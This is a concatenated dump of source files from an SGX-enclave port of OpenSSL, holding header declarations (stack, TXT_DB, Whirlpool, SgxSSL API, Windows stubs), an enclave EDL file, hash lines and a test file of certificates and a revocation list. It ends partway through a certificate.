/SgxOpenSSL/include/openssl/stack.h: -------------------------------------------------------------------------------- 1 | /* crypto/stack/stack.h */ 2 | /* Copyright (C) 1995-1998 Eric Young (eay@cryptsoft.com) 3 | * All rights reserved. 4 | * 5 | * This package is an SSL implementation written 6 | * by Eric Young (eay@cryptsoft.com). 7 | * The implementation was written so as to conform with Netscapes SSL. 8 | * 9 | * This library is free for commercial and non-commercial use as long as 10 | * the following conditions are aheared to. The following conditions 11 | * apply to all code found in this distribution, be it the RC4, RSA, 12 | * lhash, DES, etc., code; not just the SSL code. The SSL documentation 13 | * included with this distribution is covered by the same copyright terms 14 | * except that the holder is Tim Hudson (tjh@cryptsoft.com). 15 | * 16 | * Copyright remains Eric Young's, and as such any Copyright notices in 17 | * the code are not to be removed. 18 | * If this package is used in a product, Eric Young should be given attribution 19 | * as the author of the parts of the library used. 20 | * This can be in the form of a textual message at program startup or 21 | * in documentation (online or textual) provided with the package. 22 | * 23 | * Redistribution and use in source and binary forms, with or without 24 | * modification, are permitted provided that the following conditions 25 | * are met: 26 | * 1. Redistributions of source code must retain the copyright 27 | * notice, this list of conditions and the following disclaimer. 28 | * 2. Redistributions in binary form must reproduce the above copyright 29 | * notice, this list of conditions and the following disclaimer in the 30 | * documentation and/or other materials provided with the distribution. 31 | * 3. All advertising materials mentioning features or use of this software 32 | * must display the following acknowledgement: 33 | * "This product includes cryptographic software written by 34 | * Eric Young (eay@cryptsoft.com)" 35 | * The word 'cryptographic' can be left out if the rouines from the library 36 | * being used are not cryptographic related :-). 37 | * 4. If you include any Windows specific code (or a derivative thereof) from 38 | * the apps directory (application code) you must include an acknowledgement: 39 | * "This product includes software written by Tim Hudson (tjh@cryptsoft.com)" 40 | * 41 | * THIS SOFTWARE IS PROVIDED BY ERIC YOUNG ``AS IS'' AND 42 | * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 43 | * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE 44 | * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE 45 | * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL 46 | * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS 47 | * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) 48 | * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT 49 | * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY 50 | * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF 51 | * SUCH DAMAGE. 52 | * 53 | * The licence and distribution terms for any publically available version or 54 | * derivative of this code cannot be changed. i.e. this code cannot simply be 55 | * copied and put under another distribution licence 56 | * [including the GNU Public Licence.] 57 | */ 58 | 59 | #ifndef HEADER_STACK_H 60 | # define HEADER_STACK_H 61 | 62 | #ifdef __cplusplus 63 | extern "C" { 64 | #endif 65 | 66 | typedef struct stack_st { 67 | int num; 68 | char **data; 69 | int sorted; 70 | int num_alloc; 71 | int (*comp) (const void *, const void *); 72 | } _STACK; /* Use STACK_OF(...) instead */ 73 | 74 | # define M_sk_num(sk) ((sk) ? (sk)->num:-1) 75 | # define M_sk_value(sk,n) ((sk) ? (sk)->data[n] : NULL) 76 | 77 | int sk_num(const _STACK *); 78 | void *sk_value(const _STACK *, int); 79 | 80 | void *sk_set(_STACK *, int, void *); 81 | 82 | _STACK *sk_new(int (*cmp) (const void *, const void *)); 83 | _STACK *sk_new_null(void); 84 | void sk_free(_STACK *); 85 | void sk_pop_free(_STACK *st, void (*func) (void *)); 86 | _STACK *sk_deep_copy(_STACK *, void *(*)(void *), void (*)(void *)); 87 | int sk_insert(_STACK *sk, void *data, int where); 88 | void *sk_delete(_STACK *st, int loc); 89 | void *sk_delete_ptr(_STACK *st, void *p); 90 | int sk_find(_STACK *st, void *data); 91 | int sk_find_ex(_STACK *st, void *data); 92 | int sk_push(_STACK *st, void *data); 93 | int sk_unshift(_STACK *st, void *data); 94 | void *sk_shift(_STACK *st); 95 | void *sk_pop(_STACK *st); 96 | void sk_zero(_STACK *st); 97 | int (*sk_set_cmp_func(_STACK *sk, int (*c) (const void *, const void *))) 98 | (const void *, const void *); 99 | _STACK *sk_dup(_STACK *st); 100 | void sk_sort(_STACK *st); 101 | int sk_is_sorted(const _STACK *st); 102 | 103 | #ifdef __cplusplus 104 | } 105 | #endif 106 | 107 | #endif 108 | -------------------------------------------------------------------------------- /SgxOpenSSL/include/openssl/txt_db.h: -------------------------------------------------------------------------------- 1 | /* crypto/txt_db/txt_db.h */ 2 | /* Copyright (C) 1995-1998 Eric Young (eay@cryptsoft.com) 3 | * All rights reserved. 4 | * 5 | * This package is an SSL implementation written 6 | * by Eric Young (eay@cryptsoft.com). 7 | * The implementation was written so as to conform with Netscapes SSL. 8 | * 9 | * This library is free for commercial and non-commercial use as long as 10 | * the following conditions are aheared to. The following conditions 11 | * apply to all code found in this distribution, be it the RC4, RSA, 12 | * lhash, DES, etc., code; not just the SSL code. The SSL documentation 13 | * included with this distribution is covered by the same copyright terms 14 | * except that the holder is Tim Hudson (tjh@cryptsoft.com). 15 | * 16 | * Copyright remains Eric Young's, and as such any Copyright notices in 17 | * the code are not to be removed. 18 | * If this package is used in a product, Eric Young should be given attribution 19 | * as the author of the parts of the library used. 20 | * This can be in the form of a textual message at program startup or 21 | * in documentation (online or textual) provided with the package. 22 | * 23 | * Redistribution and use in source and binary forms, with or without 24 | * modification, are permitted provided that the following conditions 25 | * are met: 26 | * 1. Redistributions of source code must retain the copyright 27 | * notice, this list of conditions and the following disclaimer. 28 | * 2. Redistributions in binary form must reproduce the above copyright 29 | * notice, this list of conditions and the following disclaimer in the 30 | * documentation and/or other materials provided with the distribution. 31 | * 3. All advertising materials mentioning features or use of this software 32 | * must display the following acknowledgement: 33 | * "This product includes cryptographic software written by 34 | * Eric Young (eay@cryptsoft.com)" 35 | * The word 'cryptographic' can be left out if the rouines from the library 36 | * being used are not cryptographic related :-). 37 | * 4. If you include any Windows specific code (or a derivative thereof) from 38 | * the apps directory (application code) you must include an acknowledgement: 39 | * "This product includes software written by Tim Hudson (tjh@cryptsoft.com)" 40 | * 41 | * THIS SOFTWARE IS PROVIDED BY ERIC YOUNG ``AS IS'' AND 42 | * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 43 | * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE 44 | * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE 45 | * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL 46 | * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS 47 | * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) 48 | * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT 49 | * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY 50 | * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF 51 | * SUCH DAMAGE. 52 | * 53 | * The licence and distribution terms for any publically available version or 54 | * derivative of this code cannot be changed. i.e. this code cannot simply be 55 | * copied and put under another distribution licence 56 | * [including the GNU Public Licence.] 57 | */ 58 | 59 | #ifndef HEADER_TXT_DB_H 60 | # define HEADER_TXT_DB_H 61 | 62 | # include 63 | # ifndef OPENSSL_NO_BIO 64 | # include 65 | # endif 66 | # include 67 | # include 68 | 69 | # define DB_ERROR_OK 0 70 | # define DB_ERROR_MALLOC 1 71 | # define DB_ERROR_INDEX_CLASH 2 72 | # define DB_ERROR_INDEX_OUT_OF_RANGE 3 73 | # define DB_ERROR_NO_INDEX 4 74 | # define DB_ERROR_INSERT_INDEX_CLASH 5 75 | 76 | #ifdef __cplusplus 77 | extern "C" { 78 | #endif 79 | 80 | typedef OPENSSL_STRING *OPENSSL_PSTRING; 81 | DECLARE_SPECIAL_STACK_OF(OPENSSL_PSTRING, OPENSSL_STRING) 82 | 83 | typedef struct txt_db_st { 84 | int num_fields; 85 | STACK_OF(OPENSSL_PSTRING) *data; 86 | LHASH_OF(OPENSSL_STRING) **index; 87 | int (**qual) (OPENSSL_STRING *); 88 | long error; 89 | long arg1; 90 | long arg2; 91 | OPENSSL_STRING *arg_row; 92 | } TXT_DB; 93 | 94 | # ifndef OPENSSL_NO_BIO 95 | TXT_DB *TXT_DB_read(BIO *in, int num); 96 | long TXT_DB_write(BIO *out, TXT_DB *db); 97 | # else 98 | TXT_DB *TXT_DB_read(char *in, int num); 99 | long TXT_DB_write(char *out, TXT_DB *db); 100 | # endif 101 | int TXT_DB_create_index(TXT_DB *db, int field, int (*qual) (OPENSSL_STRING *), 102 | LHASH_HASH_FN_TYPE hash, LHASH_COMP_FN_TYPE cmp); 103 | void TXT_DB_free(TXT_DB *db); 104 | OPENSSL_STRING *TXT_DB_get_by_index(TXT_DB *db, int idx, 105 | OPENSSL_STRING *value); 106 | int TXT_DB_insert(TXT_DB *db, OPENSSL_STRING *value); 107 | 108 | #ifdef __cplusplus 109 | } 110 | #endif 111 | 112 | #endif 113 | -------------------------------------------------------------------------------- /SgxOpenSSL/include/openssl/ui_compat.h: -------------------------------------------------------------------------------- 1 | /* crypto/ui/ui.h */ 2 | /* 3 | * Written by Richard Levitte (richard@levitte.org) for the OpenSSL project 4 | * 2001. 5 | */ 6 | /* ==================================================================== 7 | * Copyright (c) 2001 The OpenSSL Project. All rights reserved. 8 | * 9 | * Redistribution and use in source and binary forms, with or without 10 | * modification, are permitted provided that the following conditions 11 | * are met: 12 | * 13 | * 1. Redistributions of source code must retain the above copyright 14 | * notice, this list of conditions and the following disclaimer. 15 | * 16 | * 2. Redistributions in binary form must reproduce the above copyright 17 | * notice, this list of conditions and the following disclaimer in 18 | * the documentation and/or other materials provided with the 19 | * distribution. 20 | * 21 | * 3. All advertising materials mentioning features or use of this 22 | * software must display the following acknowledgment: 23 | * "This product includes software developed by the OpenSSL Project 24 | * for use in the OpenSSL Toolkit. (http://www.openssl.org/)" 25 | * 26 | * 4. The names "OpenSSL Toolkit" and "OpenSSL Project" must not be used to 27 | * endorse or promote products derived from this software without 28 | * prior written permission. For written permission, please contact 29 | * openssl-core@openssl.org. 30 | * 31 | * 5. Products derived from this software may not be called "OpenSSL" 32 | * nor may "OpenSSL" appear in their names without prior written 33 | * permission of the OpenSSL Project. 34 | * 35 | * 6. Redistributions of any form whatsoever must retain the following 36 | * acknowledgment: 37 | * "This product includes software developed by the OpenSSL Project 38 | * for use in the OpenSSL Toolkit (http://www.openssl.org/)" 39 | * 40 | * THIS SOFTWARE IS PROVIDED BY THE OpenSSL PROJECT ``AS IS'' AND ANY 41 | * EXPRESSED OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 42 | * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR 43 | * PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE OpenSSL PROJECT OR 44 | * ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, 45 | * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT 46 | * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; 47 | * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) 48 | * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, 49 | * STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) 50 | * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED 51 | * OF THE POSSIBILITY OF SUCH DAMAGE. 52 | * ==================================================================== 53 | * 54 | * This product includes cryptographic software written by Eric Young 55 | * (eay@cryptsoft.com). This product includes software written by Tim 56 | * Hudson (tjh@cryptsoft.com). 57 | * 58 | */ 59 | 60 | #ifndef HEADER_UI_COMPAT_H 61 | # define HEADER_UI_COMPAT_H 62 | 63 | # include 64 | # include 65 | 66 | #ifdef __cplusplus 67 | extern "C" { 68 | #endif 69 | 70 | /* 71 | * The following functions were previously part of the DES section, and are 72 | * provided here for backward compatibility reasons. 73 | */ 74 | 75 | # define des_read_pw_string(b,l,p,v) \ 76 | _ossl_old_des_read_pw_string((b),(l),(p),(v)) 77 | # define des_read_pw(b,bf,s,p,v) \ 78 | _ossl_old_des_read_pw((b),(bf),(s),(p),(v)) 79 | 80 | int _ossl_old_des_read_pw_string(char *buf, int length, const char *prompt, 81 | int verify); 82 | int _ossl_old_des_read_pw(char *buf, char *buff, int size, const char *prompt, 83 | int verify); 84 | 85 | #ifdef __cplusplus 86 | } 87 | #endif 88 | #endif 89 | -------------------------------------------------------------------------------- /SgxOpenSSL/include/openssl/whrlpool.h: -------------------------------------------------------------------------------- 1 | #ifndef HEADER_WHRLPOOL_H 2 | # define HEADER_WHRLPOOL_H 3 | 4 | # include 5 | # include 6 | 7 | #ifdef __cplusplus 8 | extern "C" { 9 | #endif 10 | 11 | # define WHIRLPOOL_DIGEST_LENGTH (512/8) 12 | # define WHIRLPOOL_BBLOCK 512 13 | # define WHIRLPOOL_COUNTER (256/8) 14 | 15 | typedef struct { 16 | union { 17 | unsigned char c[WHIRLPOOL_DIGEST_LENGTH]; 18 | /* double q is here to ensure 64-bit alignment */ 19 | double q[WHIRLPOOL_DIGEST_LENGTH / sizeof(double)]; 20 | } H; 21 | unsigned char data[WHIRLPOOL_BBLOCK / 8]; 22 | unsigned int bitoff; 23 | size_t bitlen[WHIRLPOOL_COUNTER / sizeof(size_t)]; 24 | } WHIRLPOOL_CTX; 25 | 26 | # ifndef OPENSSL_NO_WHIRLPOOL 27 | # ifdef OPENSSL_FIPS 28 | int private_WHIRLPOOL_Init(WHIRLPOOL_CTX *c); 29 | # endif 30 | int WHIRLPOOL_Init(WHIRLPOOL_CTX *c); 31 | int WHIRLPOOL_Update(WHIRLPOOL_CTX *c, const void *inp, size_t bytes); 32 | void WHIRLPOOL_BitUpdate(WHIRLPOOL_CTX *c, const void *inp, size_t bits); 33 | int WHIRLPOOL_Final(unsigned char *md, WHIRLPOOL_CTX *c); 34 | unsigned char *WHIRLPOOL(const void *inp, size_t bytes, unsigned char *md); 35 | # endif 36 | 37 | #ifdef __cplusplus 38 | } 39 | #endif 40 | 41 | #endif 42 | -------------------------------------------------------------------------------- /SgxOpenSSL/include/sgx_tssl.edl: -------------------------------------------------------------------------------- 1 | enclave { 2 | 3 | from "sgx_tstdc.edl" import *; 4 | 5 | trusted { 6 | // this header must be included, read the comment inside for details 7 | include "sgxssl_texception.h" 8 | 9 | }; 10 | 11 | untrusted { 12 | 13 | // time - aggregate to 1 ocall 14 | void u_sgxssl_ftime64([out, size=timeb64Len] void * timeptr, uint32_t timeb64Len); 15 | 16 | // ws2_32 - will be left in release 17 | int u_sgxssl_closesocket([user_check] void* s, [out] int* wsaError); 18 | int u_sgxssl_recv([user_check] void* s, [out, size=len] void* buf, int len, int flag, [out] int* wsaError); 19 | int u_sgxssl_send([user_check] void* s, [in, size=len] const char* buf, int len, int flags, [out] int* wsaError); 20 | int u_sgxssl_shutdown([user_check] void* s, int how, [out] int* wsaError); 21 | 22 | }; 23 | }; 24 | -------------------------------------------------------------------------------- /SgxOpenSSL/include/sgxssl_texception.h: -------------------------------------------------------------------------------- 1 | #ifndef SGXSSL_TEXCEPTION_H__ 2 | #define SGXSSL_TEXCEPTION_H__ 3 | 4 | /* 5 | this linker comment makes sure that the linker will not do any optimization on this section and throw it out 6 | this function is called when the enclave is loaded for the first time 7 | in this function we initialize the cpuid fields and other things needed for the correct operation of openssl 8 | */ 9 | #ifdef _WIN64 10 | #pragma comment(linker, "/include:init_exception_handler") 11 | #else 12 | #pragma comment(linker, "/include:_init_exception_handler") 13 | #endif 14 | 15 | #endif -------------------------------------------------------------------------------- /SgxOpenSSL/include/tSgxSSL_api.h: -------------------------------------------------------------------------------- 1 | /** 2 | * Copyright(C) 2011-2015 Intel Corporation All Rights Reserved. 3 | * 4 | * The source code, information and material ("Material") contained herein is 5 | * owned by Intel Corporation or its suppliers or licensors, and title to such 6 | * Material remains with Intel Corporation or its suppliers or licensors. The 7 | * Material contains proprietary information of Intel or its suppliers and 8 | * licensors. The Material is protected by worldwide copyright laws and treaty 9 | * provisions. No part of the Material may be used, copied, reproduced, 10 | * modified, published, uploaded, posted, transmitted, distributed or disclosed 11 | * in any way without Intel's prior express written permission. No license 12 | * under any patent, copyright or other intellectual property rights in the 13 | * Material is granted to or conferred upon you, either expressly, by 14 | * implication, inducement, estoppel or otherwise. Any license under such 15 | * intellectual property rights must be express and approved by Intel in 16 | * writing. 17 | * 18 | * Third Party trademarks are the property of their respective owners. 19 | * 20 | * Unless otherwise agreed by Intel in writing, you may not remove or alter 21 | * this notice or any other notice embedded in Materials by Intel or Intel's 22 | * suppliers or licensors in any way. 23 | */ 24 | 25 | #ifndef __SGXSSL_API__ 26 | #define __SGXSSL_API__ 27 | 28 | #ifdef __cplusplus 29 | extern "C" { 30 | #endif 31 | 32 | typedef enum { 33 | STREAM_STDOUT = 1, 34 | STREAM_STDERR 35 | } Stream_t; 36 | 37 | typedef int (*PRINT_TO_STDOUT_STDERR_CB)(Stream_t stream, const char* fmt, __va_list); 38 | 39 | //--------------------------------------------------------------------- 40 | // API function to register a callback function that will intercept all printouts 41 | // to stdout or stderr and will be implemented by user to manage them as per user specific needs. 42 | // When there is no registered callback, the printouts will be ignored. 43 | //--------------------------------------------------------------------- 44 | void setPrintToStdoutStderrCB(PRINT_TO_STDOUT_STDERR_CB cb); 45 | 46 | typedef enum { 47 | PROXY_CERTS_NOT_ALLOWED = 0, 48 | PROXY_CERTS_ALLOWED = 1, 49 | } ProxyCertsPolicy_t; 50 | 51 | 52 | //--------------------------------------------------------------------- 53 | // API function to define proxy certificates policy. 54 | // Default policy does NOT allow using proxy certificates. 55 | // Not enclavized OpenSSL software takes this policy from OPENSSL_ALLOW_PROXY_CERTS environment variable. 56 | //--------------------------------------------------------------------- 57 | void setProxyCertsPolicy(ProxyCertsPolicy_t isAllowed); 58 | 59 | typedef enum { 60 | UNREACH_CODE_ABORT_ENCLAVE = 0, 61 | UNREACH_CODE_REPORT_ERR_AND_CONTNUE = 1, 62 | } UnreachableCodePolicy_t; 63 | 64 | //--------------------------------------------------------------------- 65 | // API function to define behaviour when unreachable code is being reached and executed. 66 | // Default policy to abort an enclave as this shouldn't happen. 67 | // For customers, who in any case prefer to continue execution, additional mode, 68 | // reporting an error through return value and/or setting last error/errno, is available. 69 | //--------------------------------------------------------------------- 70 | void setUnreachableCodePolicy(UnreachableCodePolicy_t policy); 71 | 72 | //--------------------------------------------------------------------- 73 | // API function to get SgxSSL Library version. 74 | //--------------------------------------------------------------------- 75 | const char * getSgxSSLVersion(); 76 | 77 | #ifdef __cplusplus 78 | } 79 | #endif 80 | 81 | #endif //__SGXSSL_API__ -------------------------------------------------------------------------------- /SgxOpenSSL/include/windows.h: -------------------------------------------------------------------------------- 1 | 2 | #ifndef __WINDOWS_H__ 3 | #define __WINDOWS_H__ 4 | 5 | #ifdef __cplusplus 6 | extern "C" { 7 | #endif 8 | 9 | #ifndef _FILE_DEFINED 10 | struct _iobuf { 11 | char *_ptr; 12 | int _cnt; 13 | char *_base; 14 | int _flag; 15 | int _file; 16 | int _charbuf; 17 | int _bufsiz; 18 | char *_tmpfname; 19 | }; 20 | typedef struct _iobuf FILE; 21 | #define _FILE_DEFINED 22 | #endif 23 | 24 | 25 | FILE* __iob_func(); 26 | 27 | #ifdef __cplusplus 28 | } 29 | #endif 30 | 31 | #ifndef stdin 32 | #define stdin (&__iob_func()[0]) 33 | #endif 34 | #ifndef stdout 35 | #define stdout (&__iob_func()[1]) 36 | #endif 37 | #ifndef stderr 38 | #define stderr (&__iob_func()[2]) 39 | #endif 40 | 41 | #ifndef UINT_PTR 42 | #ifdef _WIN64 43 | #define UINT_PTR uint64_t 44 | #else 45 | #define UINT_PTR uint32_t 46 | #endif 47 | #endif 48 | 49 | #ifndef __int3264 50 | #ifdef _WIN64 51 | #define __int3264 int64_t 52 | #else 53 | #define __int3264 int32_t 54 | #endif 55 | #endif 56 | 57 | #ifndef WPARAM 58 | #define WPARAM UINT_PTR 59 | #endif 60 | 61 | #ifndef LONG_PTR 62 | #define LONG_PTR __int3264 63 | #endif 64 | 65 | #ifndef LPARAM 66 | #define LPARAM LONG_PTR 67 | #endif 68 | 69 | #ifndef TRUE 70 | #define TRUE 1 71 | #endif 72 | 73 | #ifndef FALSE 74 | #define FALSE 0 75 | #endif 76 | 77 | #ifndef UINT 78 | #define UINT uint32_t 79 | #endif 80 | 81 | #ifndef BOOL 82 | #define BOOL int32_t 83 | #endif 84 | 85 | #endif // __WINDOWS_H__ 86 | -------------------------------------------------------------------------------- /SgxOpenSSL/include/winsock.h: -------------------------------------------------------------------------------- 1 | 2 | #ifndef _WINSOCKAPI_ 3 | #define _WINSOCKAPI_ 4 | 5 | /* 6 | * Structure used in select() call, taken from the BSD file sys/time.h. 7 | */ 8 | struct timeval { 9 | long tv_sec; /* seconds */ 10 | long tv_usec; /* and microseconds */ 11 | }; 12 | 13 | #endif /* _WINSOCKAPI_ */ 14 | 15 | -------------------------------------------------------------------------------- /SgxOpenSSL/lib/fipsopenssl/Win32/fips_premain.c.sha1: -------------------------------------------------------------------------------- 1 | HMAC-SHA1(fips_premain.c)= ad5101ebf96a98287a7c1a1c6d564143fe2234c5 2 | -------------------------------------------------------------------------------- /SgxOpenSSL/lib/fipsopenssl/Win32/sgx_tfipscanister.lib: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wireshrink/RECONMTL-2017/bf8190f8b218c6aee54d0a50e0389464aa4bbd1e/SgxOpenSSL/lib/fipsopenssl/Win32/sgx_tfipscanister.lib -------------------------------------------------------------------------------- /SgxOpenSSL/lib/fipsopenssl/Win32/sgx_tfipscanister.lib.sha1: -------------------------------------------------------------------------------- 1 | HMAC-SHA1(out32dll\fipscanister.lib)= cf0a7af1bec1ff8ee7692cfbfe099820bc679fdc 2 | -------------------------------------------------------------------------------- /SgxOpenSSL/sample/test_vrfcert/data/invalid_certlist.txt: -------------------------------------------------------------------------------- 1 | -----BEGIN CERTIFICATE----- 2 | MIIDWjCCAwWgAwIBAgIBAzAKBggqhkjOPQQDBDB/MQswCQYDVQQGEwJVUzELMAkG 3 | A1UECAwCQ0ExGjAYBgNVBAoMEUludGVsIENvcnBvcmF0aW9uMS8wLQYDVQQLDCZT 4 | ZWN1cmUgRW5jbGF2ZXMgTGljZW5zaW5nIFJvb3QgU2lnbmluZzEWMBQGA1UEAwwN 5 | d3d3LmludGVsLmNvbTAeFw0xNTA5MTYyMTEwMzZaFw0zNTA5MTEyMTEwMzZaMIGR 6 | MQswCQYDVQQGEwJVUzELMAkGA1UECAwCQ0ExFDASBgNVBAcMC1NhbnRhIENsYXJh 7 | MRowGAYDVQQKDBFJbnRlbCBDb3Jwb3JhdGlvbjErMCkGA1UECwwiU2VjdXJlIEVu 8 | Y2xhdmVzIExpY2Vuc2UgU2lnbmluZyBDQTEWMBQGA1UEAwwNd3d3LmludGVsLmNv 9 | bTCCATgwgfUGByqGSM49AgEwgekCAQEwKQYHKoZIzj0BAQIef/////////////// 10 | f///////gAAAAAAAf///////MFcEHn///////////////3///////4AAAAAAAH// 11 | /////AQeJVcF+iowZlSx9MsD1qdQowwlAQLUmIcX2boVq20+AxUAfXN0Fo/+NHG2 12 | CoV2hqGUddO/ov8EPQRnaK6OGLuSz88AXJSaosbZSFPQ5mC7+FSxyVBf6VoWB+aJ 13 | jzkMBrwdVSutIm87b8/ki26BhJmvGOPtbPMCHn///////////////3///5dd60Gz 14 | pgV8PEMhRlJlUQIBAQM+AARd9u88JB67ap8m6DzG3D3NHAKP/0xD6MOK7r6nhKNV 15 | PxwN9WVIzf2P2fBN/EoiYwM8Tv3prCztrUwPo06jfjB8MAwGA1UdEwQFMAMBAf8w 16 | LAYJYIZIAYb4QgENBB8WHU9wZW5TU0wgR2VuZXJhdGVkIENlcnRpZmljYXRlMB0G 17 | A1UdDgQWBBSGuPd4YE555GepLx49pPdkR1B1STAfBgNVHSMEGDAWgBSmsC6WnWMk 18 | BRg+8wwpgeuKqBohOzAKBggqhkjOPQQDBANDADBAAh4GwrvG+bqLtD0V2+ZHEh/3 19 | HPXuKCUXeEMmUuYwxewCHj+6TiBP1NQu5+qnd6vvkPKEPJpj2xZ/zuCOAQcucw== 20 | -----END CERTIFICATE----- 21 | -----BEGIN X509 CRL----- 22 | MIIBEjCBvgIBATAKBggqhkjOPQQDBDB/MQswCQYDVQQGEwJVUzELMAkGA1UECAwC 23 | Q0ExGjAYBgNVBAoMEUludGVsIENvcnBvcmF0aW9uMS8wLQYDVQQLDCZTZWN1cmUg 24 | RW5jbGF2ZXMgTGljZW5zaW5nIFJvb3QgU2lnbmluZzEWMBQGA1UEAwwNd3d3Lmlu 25 | dGVsLmNvbRcNMTUwOTE2MjEwOTU5WhcNMzUwOTExMjEwOTU5WqAOMAwwCgYDVR0U 26 | BAMCAQEwCgYIKoZIzj0EAwQDQwAwQAIeJfqy0gmR81/zKlzCEmZcHW/5kda6YcPb 27 | CNdvh2VJAh56eL7DI2vNLii1gHoknmlhvQzymIiH30ttI+OyeJM= 28 | -----END X509 CRL----- 29 | -----BEGIN CERTIFICATE----- 30 | MIIF6jCCBZWgAwIBAgIBAzAKBggqhkjOPQQDBDCBkTELMAkGA1UEBhMCVVMxCzAJ 31 | BgNVBAgMAkNBMRQwEgYDVQQHDAtTYW50YSBDbGFyYTEaMBgGA1UECgwRSW50ZWwg 32 | Q29ycG9yYXRpb24xKzApBgNVBAsMIlNlY3VyZSBFbmNsYXZlcyBMaWNlbnNlIFNp 33 | Z25pbmcgQ0ExFjAUBgNVBAMMDXd3dy5pbnRlbC5jb20wHhcNMTUwOTE2MjE0MzE4 34 | WhcNMzUwOTExMjE0MzE4WjBuMQswCQYDVQQGEwJVUzELMAkGA1UECAwCQ0ExFDAS 35 | BgNVBAcMC1NhbnRhIENsYXJhMRgwFgYDVQQKDA9JU1YgQ29ycG9yYXRpb24xDDAK 36 | BgNVBAsMA0lTVjEUMBIGA1UEAwwLd3d3Lmlzdi5jb20wggEgMA0GCSqGSIb3DQEB 37 | AQUAA4IBDQAwggEIAoIBAQDQYnn755bGfmguGfFaGr7AqttI1Re9eT8XJadFz+vg 38 | JLIAgnP6bN+YKvowtRrSliGoBeYn9AMV9kLZZnFa1m+qxJ5JMU4K4dMUZZqwBvJ6 39 | JXp2YhuVk/nJr+0HEBc32JaVMIxutsSY04yu+42JiSI7S7+QgdmxENrtLgpye8ut 40 | s3sNu6R+mg8Z7QbdIOKBeRdmzuPPB4K9RMMNTc2AftZFV/oIZfUmKdCecJKaLavH 41 | kw2Y5zihsql7p7Te6MJ2Y02VzcKy/nLgwKwxBMU7YXp3w1crmapJQh8yx1jVkldI 42 | yWjHazyPgQH/DUGKSlDynLWEKPO62XyUEPaGIHb/vg7nAgEDo4IDNTCCAzEwCQYD 43 | VR0TBAIwADAsBglghkgBhvhCAQ0EHxYdT3BlblNTTCBHZW5lcmF0ZWQgQ2VydGlm 44 | aWNhdGUwHQYDVR0OBBYEFOsLiShFrugyr0255+++LCogITZ2MB8GA1UdIwQYMBaA 45 | FIa493hgTnnkZ6kvHj2k92RHUHVJMDQGCSqGSIb4TQEKAQEB/wQkMCICEQC7b+eU 46 | Msxuotj5cGdaWoe/CgEAAQEAAQEAAQEAAQEAMIIBHgYJKoZIhvhNAQoCAQH/BIIB 47 | DDCCAQgDgYEAMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAw 48 | MDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAw 49 | MDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMTEDgYEAMTEx 50 | MTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTEx 51 | MTExMTExMTExMTEwMTEwMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTEx 52 | MTExMTExMTExMTExMTExMTExMTExMDAwMTEwMTEwgZUGCSqGSIb4TQEKAwSBhzCB 53 | hAOBgQAwMDAwMDAwMDAwMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTEx 54 | MTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTEx 55 | MTExMTExMTExMTExMTExMTExMTExMTExMTExMTEwMDAwMDAwMTAvBgkqhkiG+E0B 56 | CgQEIjAgBBcwMCAwMCAwMCAwMCAwMCAwMCAwMCAwMQQFMDAgMDAwgZQGCSqGSIb4 57 | TQEKBQSBhjCBgwSBgDU3YjIyYmQ0YTRkZDY3M2M2ZWMwNGE4MWE1MWFlZDk1ZTYz 58 | YjlmODZmMmRhYjYwZjI2NzkzODk4MTMxODFjNTBiM2UyZmQ5YjljMTQ2YmE1ZmQw 59 | 